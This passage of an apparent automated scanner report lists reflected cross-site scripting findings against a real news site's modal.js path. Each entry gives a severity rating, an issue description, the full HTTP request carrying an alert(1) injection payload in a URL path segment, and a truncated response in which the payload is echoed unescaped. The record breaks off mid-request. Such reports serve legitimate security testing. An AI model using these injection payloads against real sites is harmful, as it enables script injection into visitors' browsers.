HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:42 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460522"
Content-Type: text/html; charset=utf-8
Content-Length: 57409
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:43 GMT
X-Varnish: 1038166213
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/allca9f6"-alert(1)-"52c59f70c2f/modules/contrib/ctools/js/modal.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the pag
...[SNIP]...

1.158. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13134"><script>alert(1)</script>5925b401935 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all13134"><script>alert(1)</script>5925b401935/modules/contrib/ctools/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:36 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460516"
Content-Type: text/html; charset=utf-8
Content-Length: 57629
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:37 GMT
X-Varnish: 1038166088
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all13134"><script>alert(1)</script>5925b401935/modules/contrib/ctools/js/modal.js?h"/>
...[SNIP]...

1.159. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 39dd0"-alert(1)-"50c1f810567 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules39dd0"-alert(1)-"50c1f810567/contrib/ctools/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460546"
Content-Type: text/html; charset=utf-8
Content-Length: 57408
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:12 GMT
X-Varnish: 1038167119
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules39dd0"-alert(1)-"50c1f810567/contrib/ctools/js/modal.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you re
...[SNIP]...

1.160. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc2a9"><script>alert(1)</script>f020999d5a4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulesbc2a9"><script>alert(1)</script>f020999d5a4/contrib/ctools/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460535"
Content-Type: text/html; charset=utf-8
Content-Length: 57630
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:57 GMT
X-Varnish: 1038166846
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulesbc2a9"><script>alert(1)</script>f020999d5a4/contrib/ctools/js/modal.js?h"/>
...[SNIP]...

1.161. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b69b5"-alert(1)-"5794c269b7d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contribb69b5"-alert(1)-"5794c269b7d/ctools/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:28 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460568"
Content-Type: text/html; charset=utf-8
Content-Length: 57409
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:36 GMT
X-Varnish: 1038168247
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contribb69b5"-alert(1)-"5794c269b7d/ctools/js/modal.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.162. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 200ea"><script>alert(1)</script>a88bc885a50 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib200ea"><script>alert(1)</script>a88bc885a50/ctools/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:22 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460562"
Content-Type: text/html; charset=utf-8
Content-Length: 57629
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:23 GMT
X-Varnish: 1038167926
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib200ea"><script>alert(1)</script>a88bc885a50/ctools/js/modal.js?h"/>
...[SNIP]...

1.163. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70b57"><script>alert(1)</script>2cedf6ab25e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/ctools70b57"><script>alert(1)</script>2cedf6ab25e/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:42 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460582"
Content-Type: text/html; charset=utf-8
Content-Length: 57630
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:45 GMT
X-Varnish: 1038168693
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/ctools70b57"><script>alert(1)</script>2cedf6ab25e/js/modal.js?h"/>
...[SNIP]...

1.164. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c4fb3"-alert(1)-"ba992ebbd3f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/ctoolsc4fb3"-alert(1)-"ba992ebbd3f/js/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460589"
Content-Type: text/html; charset=utf-8
Content-Length: 57409
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:51 GMT
X-Varnish: 1038168765
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
gerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/ctoolsc4fb3"-alert(1)-"ba992ebbd3f/js/modal.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eV
...[SNIP]...

1.165. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f2735"-alert(1)-"2f54e7368a9 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/ctools/jsf2735"-alert(1)-"2f54e7368a9/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:03 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460603"
Content-Type: text/html; charset=utf-8
Content-Length: 57414
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:06 GMT
X-Varnish: 1038169091
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/ctools/jsf2735"-alert(1)-"2f54e7368a9/modal.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar1
...[SNIP]...

1.166. http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/ctools/js/modal.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 262b2"><script>alert(1)</script>d5d0e30c27c was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/ctools/js262b2"><script>alert(1)</script>d5d0e30c27c/modal.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
